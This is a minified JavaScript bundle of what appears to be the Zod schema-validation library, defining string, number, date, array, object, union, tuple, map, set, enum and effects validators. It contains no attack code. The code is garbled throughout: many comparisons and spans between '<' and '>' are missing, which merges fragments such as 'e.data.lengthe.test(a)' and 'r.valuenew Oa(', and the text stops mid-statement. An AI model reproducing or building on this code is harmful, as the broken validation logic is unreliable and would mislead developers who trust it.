Oa=class t extends qe{_parse(e){if(this._def.coerce&&(e.data=String(e.data)),this._getType(e)!==ge.string){let s=this._getOrReturnCtx(e);return me(s,{code:se.invalid_type,expected:ge.string,received:s.parsedType}),ke}let n=new Mt,a;for(let s of this._def.checks)if(s.kind==="min")e.data.lengths.value&&(a=this._getOrReturnCtx(e,a),me(a,{code:se.too_big,maximum:s.value,type:"string",inclusive:!0,exact:!1,message:s.message}),n.dirty());else if(s.kind==="length"){let i=e.data.length>s.value,o=e.data.lengthe.test(a),{validation:r,code:se.invalid_string,...be.errToObj(n)})}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}email(e){return this._addCheck({kind:"email",...be.errToObj(e)})}url(e){return this._addCheck({kind:"url",...be.errToObj(e)})}emoji(e){return this._addCheck({kind:"emoji",...be.errToObj(e)})}uuid(e){return this._addCheck({kind:"uuid",...be.errToObj(e)})}nanoid(e){return this._addCheck({kind:"nanoid",...be.errToObj(e)})}cuid(e){return this._addCheck({kind:"cuid",...be.errToObj(e)})}cuid2(e){return this._addCheck({kind:"cuid2",...be.errToObj(e)})}ulid(e){return this._addCheck({kind:"ulid",...be.errToObj(e)})}base64(e){return this._addCheck({kind:"base64",...be.errToObj(e)})}base64url(e){return this._addCheck({kind:"base64url",...be.errToObj(e)})}jwt(e){return this._addCheck({kind:"jwt",...be.errToObj(e)})}ip(e){return this._addCheck({kind:"ip",...be.errToObj(e)})}cidr(e){return this._addCheck({kind:"cidr",...be.errToObj(e)})}datetime(e){return typeof e=="string"?this._addCheck({kind:"datetime",precision:null,offset:!1,local:!1,message:e}):this._addCheck({kind:"datetime",precision:typeof e?.precision>"u"?null:e?.precision,offset:e?.offset??!1,local:e?.local??!1,...be.errToObj(e?.message)})}date(e){return this._addCheck({kind:"date",message:e})}time(e){return typeof e=="string"?this._addCheck({kind:"time",precision:null,message:e}):this._addCheck({kind:"time",precision:typeof e?.precision>"u"?null:e?.precision,...be.errToObj(e?.message)})}duration(e){return this._addCheck({kind:"duration",...be.errToObj(e)})}regex(e,r){return this._addCheck({kind:"regex",regex:e,...be.errToObj(r)})}includes(e,r){return this._addCheck({kind:"includes",value:e,position:r?.position,...be.errToObj(r?.message)})}startsWith(e,r){return this._addCheck({kind:"startsWith",value:e,...be.errToObj(r)})}endsWith(e,r){return this._addCheck({kind:"endsWith",value:e,...be.errToObj(r)})}min(e,r){return this._addCheck({kind:"min",value:e,...be.errToObj(r)})}max(e,r){return this._addCheck({kind:"max",value:e,...be.errToObj(r)})}length(e,r){return this._addCheck({kind:"length",value:e,...be.errToObj(r)})}nonempty(e){return this.min(1,be.errToObj(e))}trim(){return new t({...this._def,checks:[...this._def.checks,{kind:"trim"}]})}toLowerCase(){return new t({...this._def,checks:[...this._def.checks,{kind:"toLowerCase"}]})}toUpperCase(){return new t({...this._def,checks:[...this._def.checks,{kind:"toUpperCase"}]})}get isDatetime(){return!!this._def.checks.find(e=>e.kind==="datetime")}get isDate(){return!!this._def.checks.find(e=>e.kind==="date")}get isTime(){return!!this._def.checks.find(e=>e.kind==="time")}get isDuration(){return!!this._def.checks.find(e=>e.kind==="duration")}get isEmail(){return!!this._def.checks.find(e=>e.kind==="email")}get isURL(){return!!this._def.checks.find(e=>e.kind==="url")}get isEmoji(){return!!this._def.checks.find(e=>e.kind==="emoji")}get isUUID(){return!!this._def.checks.find(e=>e.kind==="uuid")}get isNANOID(){return!!this._def.checks.find(e=>e.kind==="nanoid")}get isCUID(){return!!this._def.checks.find(e=>e.kind==="cuid")}get isCUID2(){return!!this._def.checks.find(e=>e.kind==="cuid2")}get isULID(){return!!this._def.checks.find(e=>e.kind==="ulid")}get isIP(){return!!this._def.checks.find(e=>e.kind==="ip")}get isCIDR(){return!!this._def.checks.find(e=>e.kind==="cidr")}get isBase64(){return!!this._def.checks.find(e=>e.kind==="base64")}get isBase64url(){return!!this._def.checks.find(e=>e.kind==="base64url")}get minLength(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e}get maxLength(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.valuenew Oa({checks:[],typeName:$e.ZodString,coerce:t?.coerce??!1,...Ne(t)});function X2(t,e){let r=(t.toString().split(".")[1]||"").length,n=(e.toString().split(".")[1]||"").length,a=r>n?r:n,s=Number.parseInt(t.toFixed(a).replace(".","")),i=Number.parseInt(e.toFixed(a).replace(".",""));return s%i/10**a}var dn=class t extends qe{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte,this.step=this.multipleOf}_parse(e){if(this._def.coerce&&(e.data=Number(e.data)),this._getType(e)!==ge.number){let s=this._getOrReturnCtx(e);return me(s,{code:se.invalid_type,expected:ge.number,received:s.parsedType}),ke}let n,a=new Mt;for(let s of this._def.checks)s.kind==="int"?He.isInteger(e.data)||(n=this._getOrReturnCtx(e,n),me(n,{code:se.invalid_type,expected:"integer",received:"float",message:s.message}),a.dirty()):s.kind==="min"?(s.inclusive?e.datas.value:e.data>=s.value)&&(n=this._getOrReturnCtx(e,n),me(n,{code:se.too_big,maximum:s.value,type:"number",inclusive:s.inclusive,exact:!1,message:s.message}),a.dirty()):s.kind==="multipleOf"?X2(e.data,s.value)!==0&&(n=this._getOrReturnCtx(e,n),me(n,{code:se.not_multiple_of,multipleOf:s.value,message:s.message}),a.dirty()):s.kind==="finite"?Number.isFinite(e.data)||(n=this._getOrReturnCtx(e,n),me(n,{code:se.not_finite,message:s.message}),a.dirty()):He.assertNever(s);return{status:a.value,value:e.data}}gte(e,r){return this.setLimit("min",e,!0,be.toString(r))}gt(e,r){return this.setLimit("min",e,!1,be.toString(r))}lte(e,r){return this.setLimit("max",e,!0,be.toString(r))}lt(e,r){return this.setLimit("max",e,!1,be.toString(r))}setLimit(e,r,n,a){return new t({...this._def,checks:[...this._def.checks,{kind:e,value:r,inclusive:n,message:be.toString(a)}]})}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}int(e){return this._addCheck({kind:"int",message:be.toString(e)})}positive(e){return this._addCheck({kind:"min",value:0,inclusive:!1,message:be.toString(e)})}negative(e){return this._addCheck({kind:"max",value:0,inclusive:!1,message:be.toString(e)})}nonpositive(e){return this._addCheck({kind:"max",value:0,inclusive:!0,message:be.toString(e)})}nonnegative(e){return this._addCheck({kind:"min",value:0,inclusive:!0,message:be.toString(e)})}multipleOf(e,r){return this._addCheck({kind:"multipleOf",value:e,message:be.toString(r)})}finite(e){return this._addCheck({kind:"finite",message:be.toString(e)})}safe(e){return this._addCheck({kind:"min",inclusive:!0,value:Number.MIN_SAFE_INTEGER,message:be.toString(e)})._addCheck({kind:"max",inclusive:!0,value:Number.MAX_SAFE_INTEGER,message:be.toString(e)})}get minValue(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e}get maxValue(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.valuee.kind==="int"||e.kind==="multipleOf"&&He.isInteger(e.value))}get isFinite(){let e=null,r=null;for(let n of this._def.checks){if(n.kind==="finite"||n.kind==="int"||n.kind==="multipleOf")return!0;n.kind==="min"?(r===null||n.value>r)&&(r=n.value):n.kind==="max"&&(e===null||n.valuenew dn({checks:[],typeName:$e.ZodNumber,coerce:t?.coerce||!1,...Ne(t)});var pn=class t extends qe{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte}_parse(e){if(this._def.coerce)try{e.data=BigInt(e.data)}catch{return this._getInvalidInput(e)}if(this._getType(e)!==ge.bigint)return this._getInvalidInput(e);let n,a=new Mt;for(let s of this._def.checks)s.kind==="min"?(s.inclusive?e.datas.value:e.data>=s.value)&&(n=this._getOrReturnCtx(e,n),me(n,{code:se.too_big,type:"bigint",maximum:s.value,inclusive:s.inclusive,message:s.message}),a.dirty()):s.kind==="multipleOf"?e.data%s.value!==BigInt(0)&&(n=this._getOrReturnCtx(e,n),me(n,{code:se.not_multiple_of,multipleOf:s.value,message:s.message}),a.dirty()):He.assertNever(s);return{status:a.value,value:e.data}}_getInvalidInput(e){let r=this._getOrReturnCtx(e);return me(r,{code:se.invalid_type,expected:ge.bigint,received:r.parsedType}),ke}gte(e,r){return this.setLimit("min",e,!0,be.toString(r))}gt(e,r){return this.setLimit("min",e,!1,be.toString(r))}lte(e,r){return this.setLimit("max",e,!0,be.toString(r))}lt(e,r){return this.setLimit("max",e,!1,be.toString(r))}setLimit(e,r,n,a){return new t({...this._def,checks:[...this._def.checks,{kind:e,value:r,inclusive:n,message:be.toString(a)}]})}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}positive(e){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!1,message:be.toString(e)})}negative(e){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!1,message:be.toString(e)})}nonpositive(e){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!0,message:be.toString(e)})}nonnegative(e){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!0,message:be.toString(e)})}multipleOf(e,r){return this._addCheck({kind:"multipleOf",value:e,message:be.toString(r)})}get minValue(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e}get maxValue(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.valuenew pn({checks:[],typeName:$e.ZodBigInt,coerce:t?.coerce??!1,...Ne(t)});var fn=class extends qe{_parse(e){if(this._def.coerce&&(e.data=!!e.data),this._getType(e)!==ge.boolean){let n=this._getOrReturnCtx(e);return me(n,{code:se.invalid_type,expected:ge.boolean,received:n.parsedType}),ke}return Lt(e.data)}};fn.create=t=>new fn({typeName:$e.ZodBoolean,coerce:t?.coerce||!1,...Ne(t)});var mn=class t extends qe{_parse(e){if(this._def.coerce&&(e.data=new Date(e.data)),this._getType(e)!==ge.date){let s=this._getOrReturnCtx(e);return me(s,{code:se.invalid_type,expected:ge.date,received:s.parsedType}),ke}if(Number.isNaN(e.data.getTime())){let s=this._getOrReturnCtx(e);return me(s,{code:se.invalid_date}),ke}let n=new Mt,a;for(let s of this._def.checks)s.kind==="min"?e.data.getTime()s.value&&(a=this._getOrReturnCtx(e,a),me(a,{code:se.too_big,message:s.message,inclusive:!0,exact:!1,maximum:s.value,type:"date"}),n.dirty()):He.assertNever(s);return{status:n.value,value:new Date(e.data.getTime())}}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}min(e,r){return this._addCheck({kind:"min",value:e.getTime(),message:be.toString(r)})}max(e,r){return this._addCheck({kind:"max",value:e.getTime(),message:be.toString(r)})}get minDate(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e!=null?new Date(e):null}get maxDate(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.valuenew mn({checks:[],coerce:t?.coerce||!1,typeName:$e.ZodDate,...Ne(t)});var Ss=class extends qe{_parse(e){if(this._getType(e)!==ge.symbol){let n=this._getOrReturnCtx(e);return me(n,{code:se.invalid_type,expected:ge.symbol,received:n.parsedType}),ke}return Lt(e.data)}};Ss.create=t=>new Ss({typeName:$e.ZodSymbol,...Ne(t)});var hn=class extends qe{_parse(e){if(this._getType(e)!==ge.undefined){let n=this._getOrReturnCtx(e);return me(n,{code:se.invalid_type,expected:ge.undefined,received:n.parsedType}),ke}return Lt(e.data)}};hn.create=t=>new hn({typeName:$e.ZodUndefined,...Ne(t)});var vn=class extends qe{_parse(e){if(this._getType(e)!==ge.null){let n=this._getOrReturnCtx(e);return me(n,{code:se.invalid_type,expected:ge.null,received:n.parsedType}),ke}return Lt(e.data)}};vn.create=t=>new vn({typeName:$e.ZodNull,...Ne(t)});var Ca=class extends qe{constructor(){super(...arguments),this._any=!0}_parse(e){return Lt(e.data)}};Ca.create=t=>new Ca({typeName:$e.ZodAny,...Ne(t)});var ua=class extends qe{constructor(){super(...arguments),this._unknown=!0}_parse(e){return Lt(e.data)}};ua.create=t=>new ua({typeName:$e.ZodUnknown,...Ne(t)});var Ir=class extends qe{_parse(e){let r=this._getOrReturnCtx(e);return me(r,{code:se.invalid_type,expected:ge.never,received:r.parsedType}),ke}};Ir.create=t=>new Ir({typeName:$e.ZodNever,...Ne(t)});var Es=class extends qe{_parse(e){if(this._getType(e)!==ge.undefined){let n=this._getOrReturnCtx(e);return me(n,{code:se.invalid_type,expected:ge.void,received:n.parsedType}),ke}return Lt(e.data)}};Es.create=t=>new Es({typeName:$e.ZodVoid,...Ne(t)});var la=class t extends qe{_parse(e){let{ctx:r,status:n}=this._processInputParams(e),a=this._def;if(r.parsedType!==ge.array)return me(r,{code:se.invalid_type,expected:ge.array,received:r.parsedType}),ke;if(a.exactLength!==null){let i=r.data.length>a.exactLength.value,o=r.data.lengtha.maxLength.value&&(me(r,{code:se.too_big,maximum:a.maxLength.value,type:"array",inclusive:!0,exact:!1,message:a.maxLength.message}),n.dirty()),r.common.async)return Promise.all([...r.data].map((i,o)=>a.type._parseAsync(new gr(r,i,r.path,o)))).then(i=>Mt.mergeArray(n,i));let s=[...r.data].map((i,o)=>a.type._parseSync(new gr(r,i,r.path,o)));return Mt.mergeArray(n,s)}get element(){return this._def.type}min(e,r){return new t({...this._def,minLength:{value:e,message:be.toString(r)}})}max(e,r){return new t({...this._def,maxLength:{value:e,message:be.toString(r)}})}length(e,r){return new t({...this._def,exactLength:{value:e,message:be.toString(r)}})}nonempty(e){return this.min(1,e)}};la.create=(t,e)=>new la({type:t,minLength:null,maxLength:null,exactLength:null,typeName:$e.ZodArray,...Ne(e)});function ws(t){if(t instanceof Qt){let e={};for(let r in t.shape){let n=t.shape[r];e[r]=vr.create(ws(n))}return new Qt({...t._def,shape:()=>e})}else return t instanceof la?new la({...t._def,type:ws(t.element)}):t instanceof vr?vr.create(ws(t.unwrap())):t instanceof Xr?Xr.create(ws(t.unwrap())):t instanceof Kr?Kr.create(t.items.map(e=>ws(e))):t}var Qt=class t extends qe{constructor(){super(...arguments),this._cached=null,this.nonstrict=this.passthrough,this.augment=this.extend}_getCached(){if(this._cached!==null)return this._cached;let e=this._def.shape(),r=He.objectKeys(e);return this._cached={shape:e,keys:r},this._cached}_parse(e){if(this._getType(e)!==ge.object){let u=this._getOrReturnCtx(e);return me(u,{code:se.invalid_type,expected:ge.object,received:u.parsedType}),ke}let{status:n,ctx:a}=this._processInputParams(e),{shape:s,keys:i}=this._getCached(),o=[];if(!(this._def.catchall instanceof Ir&&this._def.unknownKeys==="strip"))for(let u in a.data)i.includes(u)||o.push(u);let c=[];for(let u of i){let l=s[u],d=a.data[u];c.push({key:{status:"valid",value:u},value:l._parse(new gr(a,d,a.path,u)),alwaysSet:u in a.data})}if(this._def.catchall instanceof Ir){let u=this._def.unknownKeys;if(u==="passthrough")for(let l of o)c.push({key:{status:"valid",value:l},value:{status:"valid",value:a.data[l]}});else if(u==="strict")o.length>0&&(me(a,{code:se.unrecognized_keys,keys:o}),n.dirty());else if(u!=="strip")throw new Error("Internal ZodObject error: invalid unknownKeys value.")}else{let u=this._def.catchall;for(let l of o){let d=a.data[l];c.push({key:{status:"valid",value:l},value:u._parse(new gr(a,d,a.path,l)),alwaysSet:l in a.data})}}return a.common.async?Promise.resolve().then(async()=>{let u=[];for(let l of c){let d=await l.key,f=await l.value;u.push({key:d,value:f,alwaysSet:l.alwaysSet})}return u}).then(u=>Mt.mergeObjectSync(n,u)):Mt.mergeObjectSync(n,c)}get shape(){return this._def.shape()}strict(e){return be.errToObj,new t({...this._def,unknownKeys:"strict",...e!==void 0?{errorMap:(r,n)=>{let a=this._def.errorMap?.(r,n).message??n.defaultError;return r.code==="unrecognized_keys"?{message:be.errToObj(e).message??a}:{message:a}}}:{}})}strip(){return new t({...this._def,unknownKeys:"strip"})}passthrough(){return new t({...this._def,unknownKeys:"passthrough"})}extend(e){return new t({...this._def,shape:()=>({...this._def.shape(),...e})})}merge(e){return new t({unknownKeys:e._def.unknownKeys,catchall:e._def.catchall,shape:()=>({...this._def.shape(),...e._def.shape()}),typeName:$e.ZodObject})}setKey(e,r){return this.augment({[e]:r})}catchall(e){return new t({...this._def,catchall:e})}pick(e){let r={};for(let n of He.objectKeys(e))e[n]&&this.shape[n]&&(r[n]=this.shape[n]);return new t({...this._def,shape:()=>r})}omit(e){let r={};for(let n of He.objectKeys(this.shape))e[n]||(r[n]=this.shape[n]);return new t({...this._def,shape:()=>r})}deepPartial(){return ws(this)}partial(e){let r={};for(let n of He.objectKeys(this.shape)){let a=this.shape[n];e&&!e[n]?r[n]=a:r[n]=a.optional()}return new t({...this._def,shape:()=>r})}required(e){let r={};for(let n of He.objectKeys(this.shape))if(e&&!e[n])r[n]=this.shape[n];else{let s=this.shape[n];for(;s instanceof vr;)s=s._def.innerType;r[n]=s}return new t({...this._def,shape:()=>r})}keyof(){return vx(He.objectKeys(this.shape))}};Qt.create=(t,e)=>new Qt({shape:()=>t,unknownKeys:"strip",catchall:Ir.create(),typeName:$e.ZodObject,...Ne(e)});Qt.strictCreate=(t,e)=>new Qt({shape:()=>t,unknownKeys:"strict",catchall:Ir.create(),typeName:$e.ZodObject,...Ne(e)});Qt.lazycreate=(t,e)=>new Qt({shape:t,unknownKeys:"strip",catchall:Ir.create(),typeName:$e.ZodObject,...Ne(e)});var gn=class extends qe{_parse(e){let{ctx:r}=this._processInputParams(e),n=this._def.options;function a(s){for(let o of s)if(o.result.status==="valid")return o.result;for(let o of s)if(o.result.status==="dirty")return r.common.issues.push(...o.ctx.common.issues),o.result;let i=s.map(o=>new Yt(o.ctx.common.issues));return me(r,{code:se.invalid_union,unionErrors:i}),ke}if(r.common.async)return Promise.all(n.map(async s=>{let i={...r,common:{...r.common,issues:[]},parent:null};return{result:await s._parseAsync({data:r.data,path:r.path,parent:i}),ctx:i}})).then(a);{let s,i=[];for(let c of n){let u={...r,common:{...r.common,issues:[]},parent:null},l=c._parseSync({data:r.data,path:r.path,parent:u});if(l.status==="valid")return l;l.status==="dirty"&&!s&&(s={result:l,ctx:u}),u.common.issues.length&&i.push(u.common.issues)}if(s)return r.common.issues.push(...s.ctx.common.issues),s.result;let o=i.map(c=>new Yt(c));return me(r,{code:se.invalid_union,unionErrors:o}),ke}}get options(){return this._def.options}};gn.create=(t,e)=>new gn({options:t,typeName:$e.ZodUnion,...Ne(e)});var ca=t=>t instanceof _n?ca(t.schema):t instanceof yr?ca(t.innerType()):t instanceof bn?[t.value]:t instanceof xn?t.options:t instanceof wn?He.objectValues(t.enum):t instanceof Sn?ca(t._def.innerType):t instanceof hn?[void 0]:t instanceof vn?[null]:t instanceof vr?[void 0,...ca(t.unwrap())]:t instanceof Xr?[null,...ca(t.unwrap())]:t instanceof Yi||t instanceof Tn?ca(t.unwrap()):t instanceof En?ca(t._def.innerType):[],Gc=class t extends qe{_parse(e){let{ctx:r}=this._processInputParams(e);if(r.parsedType!==ge.object)return me(r,{code:se.invalid_type,expected:ge.object,received:r.parsedType}),ke;let n=this.discriminator,a=r.data[n],s=this.optionsMap.get(a);return s?r.common.async?s._parseAsync({data:r.data,path:r.path,parent:r}):s._parseSync({data:r.data,path:r.path,parent:r}):(me(r,{code:se.invalid_union_discriminator,options:Array.from(this.optionsMap.keys()),path:[n]}),ke)}get discriminator(){return this._def.discriminator}get options(){return this._def.options}get optionsMap(){return this._def.optionsMap}static create(e,r,n){let a=new Map;for(let s of r){let i=ca(s.shape[e]);if(!i.length)throw new Error(`A discriminator value for key \`${e}\` could not be extracted from all schema options`);for(let o of i){if(a.has(o))throw new Error(`Discriminator property ${String(e)} has duplicate value ${String(o)}`);a.set(o,s)}}return new t({typeName:$e.ZodDiscriminatedUnion,discriminator:e,options:r,optionsMap:a,...Ne(n)})}};function Kp(t,e){let r=Gr(t),n=Gr(e);if(t===e)return{valid:!0,data:t};if(r===ge.object&&n===ge.object){let a=He.objectKeys(e),s=He.objectKeys(t).filter(o=>a.indexOf(o)!==-1),i={...t,...e};for(let o of s){let c=Kp(t[o],e[o]);if(!c.valid)return{valid:!1};i[o]=c.data}return{valid:!0,data:i}}else if(r===ge.array&&n===ge.array){if(t.length!==e.length)return{valid:!1};let a=[];for(let s=0;s{if(Wc(s)||Wc(i))return ke;let o=Kp(s.value,i.value);return o.valid?((Zc(s)||Zc(i))&&r.dirty(),{status:r.value,value:o.data}):(me(n,{code:se.invalid_intersection_types}),ke)};return n.common.async?Promise.all([this._def.left._parseAsync({data:n.data,path:n.path,parent:n}),this._def.right._parseAsync({data:n.data,path:n.path,parent:n})]).then(([s,i])=>a(s,i)):a(this._def.left._parseSync({data:n.data,path:n.path,parent:n}),this._def.right._parseSync({data:n.data,path:n.path,parent:n}))}};yn.create=(t,e,r)=>new yn({left:t,right:e,typeName:$e.ZodIntersection,...Ne(r)});var Kr=class t extends qe{_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==ge.array)return me(n,{code:se.invalid_type,expected:ge.array,received:n.parsedType}),ke;if(n.data.lengththis._def.items.length&&(me(n,{code:se.too_big,maximum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),r.dirty());let s=[...n.data].map((i,o)=>{let c=this._def.items[o]||this._def.rest;return c?c._parse(new gr(n,i,n.path,o)):null}).filter(i=>!!i);return n.common.async?Promise.all(s).then(i=>Mt.mergeArray(r,i)):Mt.mergeArray(r,s)}get items(){return this._def.items}rest(e){return new t({...this._def,rest:e})}};Kr.create=(t,e)=>{if(!Array.isArray(t))throw new Error("You must pass an array of schemas to z.tuple([ ... ])");return new Kr({items:t,typeName:$e.ZodTuple,rest:null,...Ne(e)})};var Kc=class t extends qe{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==ge.object)return me(n,{code:se.invalid_type,expected:ge.object,received:n.parsedType}),ke;let a=[],s=this._def.keyType,i=this._def.valueType;for(let o in n.data)a.push({key:s._parse(new gr(n,o,n.path,o)),value:i._parse(new gr(n,n.data[o],n.path,o)),alwaysSet:o in n.data});return n.common.async?Mt.mergeObjectAsync(r,a):Mt.mergeObjectSync(r,a)}get element(){return this._def.valueType}static create(e,r,n){return r instanceof qe?new t({keyType:e,valueType:r,typeName:$e.ZodRecord,...Ne(n)}):new t({keyType:Oa.create(),valueType:e,typeName:$e.ZodRecord,...Ne(r)})}},Ts=class extends qe{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==ge.map)return me(n,{code:se.invalid_type,expected:ge.map,received:n.parsedType}),ke;let a=this._def.keyType,s=this._def.valueType,i=[...n.data.entries()].map(([o,c],u)=>({key:a._parse(new gr(n,o,n.path,[u,"key"])),value:s._parse(new gr(n,c,n.path,[u,"value"]))}));if(n.common.async){let o=new Map;return Promise.resolve().then(async()=>{for(let c of i){let u=await c.key,l=await c.value;if(u.status==="aborted"||l.status==="aborted")return ke;(u.status==="dirty"||l.status==="dirty")&&r.dirty(),o.set(u.value,l.value)}return{status:r.value,value:o}})}else{let o=new Map;for(let c of i){let u=c.key,l=c.value;if(u.status==="aborted"||l.status==="aborted")return ke;(u.status==="dirty"||l.status==="dirty")&&r.dirty(),o.set(u.value,l.value)}return{status:r.value,value:o}}}};Ts.create=(t,e,r)=>new Ts({valueType:e,keyType:t,typeName:$e.ZodMap,...Ne(r)});var ks=class t extends qe{_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==ge.set)return me(n,{code:se.invalid_type,expected:ge.set,received:n.parsedType}),ke;let a=this._def;a.minSize!==null&&n.data.sizea.maxSize.value&&(me(n,{code:se.too_big,maximum:a.maxSize.value,type:"set",inclusive:!0,exact:!1,message:a.maxSize.message}),r.dirty());let s=this._def.valueType;function i(c){let u=new Set;for(let l of c){if(l.status==="aborted")return ke;l.status==="dirty"&&r.dirty(),u.add(l.value)}return{status:r.value,value:u}}let o=[...n.data.values()].map((c,u)=>s._parse(new gr(n,c,n.path,u)));return n.common.async?Promise.all(o).then(c=>i(c)):i(o)}min(e,r){return new t({...this._def,minSize:{value:e,message:be.toString(r)}})}max(e,r){return new t({...this._def,maxSize:{value:e,message:be.toString(r)}})}size(e,r){return this.min(e,r).max(e,r)}nonempty(e){return this.min(1,e)}};ks.create=(t,e)=>new ks({valueType:t,minSize:null,maxSize:null,typeName:$e.ZodSet,...Ne(e)});var Xc=class t extends qe{constructor(){super(...arguments),this.validate=this.implement}_parse(e){let{ctx:r}=this._processInputParams(e);if(r.parsedType!==ge.function)return me(r,{code:se.invalid_type,expected:ge.function,received:r.parsedType}),ke;function n(o,c){return Ji({data:o,path:r.path,errorMaps:[r.common.contextualErrorMap,r.schemaErrorMap,bs(),oa].filter(u=>!!u),issueData:{code:se.invalid_arguments,argumentsError:c}})}function a(o,c){return Ji({data:o,path:r.path,errorMaps:[r.common.contextualErrorMap,r.schemaErrorMap,bs(),oa].filter(u=>!!u),issueData:{code:se.invalid_return_type,returnTypeError:c}})}let s={errorMap:r.common.contextualErrorMap},i=r.data;if(this._def.returns instanceof Ia){let o=this;return Lt(async function(...c){let u=new Yt([]),l=await o._def.args.parseAsync(c,s).catch(m=>{throw u.addIssue(n(c,m)),u}),d=await Reflect.apply(i,this,l);return await o._def.returns._def.type.parseAsync(d,s).catch(m=>{throw u.addIssue(a(d,m)),u})})}else{let o=this;return Lt(function(...c){let u=o._def.args.safeParse(c,s);if(!u.success)throw new Yt([n(c,u.error)]);let l=Reflect.apply(i,this,u.data),d=o._def.returns.safeParse(l,s);if(!d.success)throw new Yt([a(l,d.error)]);return d.data})}}parameters(){return this._def.args}returnType(){return this._def.returns}args(...e){return new t({...this._def,args:Kr.create(e).rest(ua.create())})}returns(e){return new t({...this._def,returns:e})}implement(e){return this.parse(e)}strictImplement(e){return this.parse(e)}static create(e,r,n){return new t({args:e||Kr.create([]).rest(ua.create()),returns:r||ua.create(),typeName:$e.ZodFunction,...Ne(n)})}},_n=class extends qe{get schema(){return this._def.getter()}_parse(e){let{ctx:r}=this._processInputParams(e);return this._def.getter()._parse({data:r.data,path:r.path,parent:r})}};_n.create=(t,e)=>new _n({getter:t,typeName:$e.ZodLazy,...Ne(e)});var bn=class extends qe{_parse(e){if(e.data!==this._def.value){let r=this._getOrReturnCtx(e);return me(r,{received:r.data,code:se.invalid_literal,expected:this._def.value}),ke}return{status:"valid",value:e.data}}get value(){return this._def.value}};bn.create=(t,e)=>new bn({value:t,typeName:$e.ZodLiteral,...Ne(e)});function vx(t,e){return new xn({values:t,typeName:$e.ZodEnum,...Ne(e)})}var xn=class t extends qe{_parse(e){if(typeof e.data!="string"){let r=this._getOrReturnCtx(e),n=this._def.values;return me(r,{expected:He.joinValues(n),received:r.parsedType,code:se.invalid_type}),ke}if(this._cache||(this._cache=new Set(this._def.values)),!this._cache.has(e.data)){let r=this._getOrReturnCtx(e),n=this._def.values;return me(r,{received:r.data,code:se.invalid_enum_value,options:n}),ke}return Lt(e.data)}get options(){return this._def.values}get enum(){let e={};for(let r of this._def.values)e[r]=r;return e}get Values(){let e={};for(let r of this._def.values)e[r]=r;return e}get Enum(){let e={};for(let r of this._def.values)e[r]=r;return e}extract(e,r=this._def){return t.create(e,{...this._def,...r})}exclude(e,r=this._def){return t.create(this.options.filter(n=>!e.includes(n)),{...this._def,...r})}};xn.create=vx;var wn=class extends qe{_parse(e){let r=He.getValidEnumValues(this._def.values),n=this._getOrReturnCtx(e);if(n.parsedType!==ge.string&&n.parsedType!==ge.number){let a=He.objectValues(r);return me(n,{expected:He.joinValues(a),received:n.parsedType,code:se.invalid_type}),ke}if(this._cache||(this._cache=new Set(He.getValidEnumValues(this._def.values))),!this._cache.has(e.data)){let a=He.objectValues(r);return me(n,{received:n.data,code:se.invalid_enum_value,options:a}),ke}return Lt(e.data)}get enum(){return this._def.values}};wn.create=(t,e)=>new wn({values:t,typeName:$e.ZodNativeEnum,...Ne(e)});var Ia=class extends qe{unwrap(){return this._def.type}_parse(e){let{ctx:r}=this._processInputParams(e);if(r.parsedType!==ge.promise&&r.common.async===!1)return me(r,{code:se.invalid_type,expected:ge.promise,received:r.parsedType}),ke;let n=r.parsedType===ge.promise?r.data:Promise.resolve(r.data);return Lt(n.then(a=>this._def.type.parseAsync(a,{path:r.path,errorMap:r.common.contextualErrorMap})))}};Ia.create=(t,e)=>new Ia({type:t,typeName:$e.ZodPromise,...Ne(e)});var yr=class extends qe{innerType(){return this._def.schema}sourceType(){return this._def.schema._def.typeName===$e.ZodEffects?this._def.schema.sourceType():this._def.schema}_parse(e){let{status:r,ctx:n}=this._processInputParams(e),a=this._def.effect||null,s={addIssue:i=>{me(n,i),i.fatal?r.abort():r.dirty()},get path(){return n.path}};if(s.addIssue=s.addIssue.bind(s),a.type==="preprocess"){let i=a.transform(n.data,s);if(n.common.async)return Promise.resolve(i).then(async o=>{if(r.value==="aborted")return ke;let c=await this._def.schema._parseAsync({data:o,path:n.path,parent:n});return c.status==="aborted"?ke:c.status==="dirty"?ln(c.value):r.value==="dirty"?ln(c.value):c});{if(r.value==="aborted")return ke;let o=this._def.schema._parseSync({data:i,path:n.path,parent:n});return o.status==="aborted"?ke:o.status==="dirty"?ln(o.value):r.value==="dirty"?ln(o.value):o}}if(a.type==="refinement"){let i=o=>{let c=a.refinement(o,s);if(n.common.async)return Promise.resolve(c);if(c instanceof Promise)throw new Error("Async refinement encountered during synchronous parse operation. Use .parseAsync instead.");return o};if(n.common.async===!1){let o=this._def.schema._parseSync({data:n.data,path:n.path,parent:n});return o.status==="aborted"?ke:(o.status==="dirty"&&r.dirty(),i(o.value),{status:r.value,value:o.value})}else return 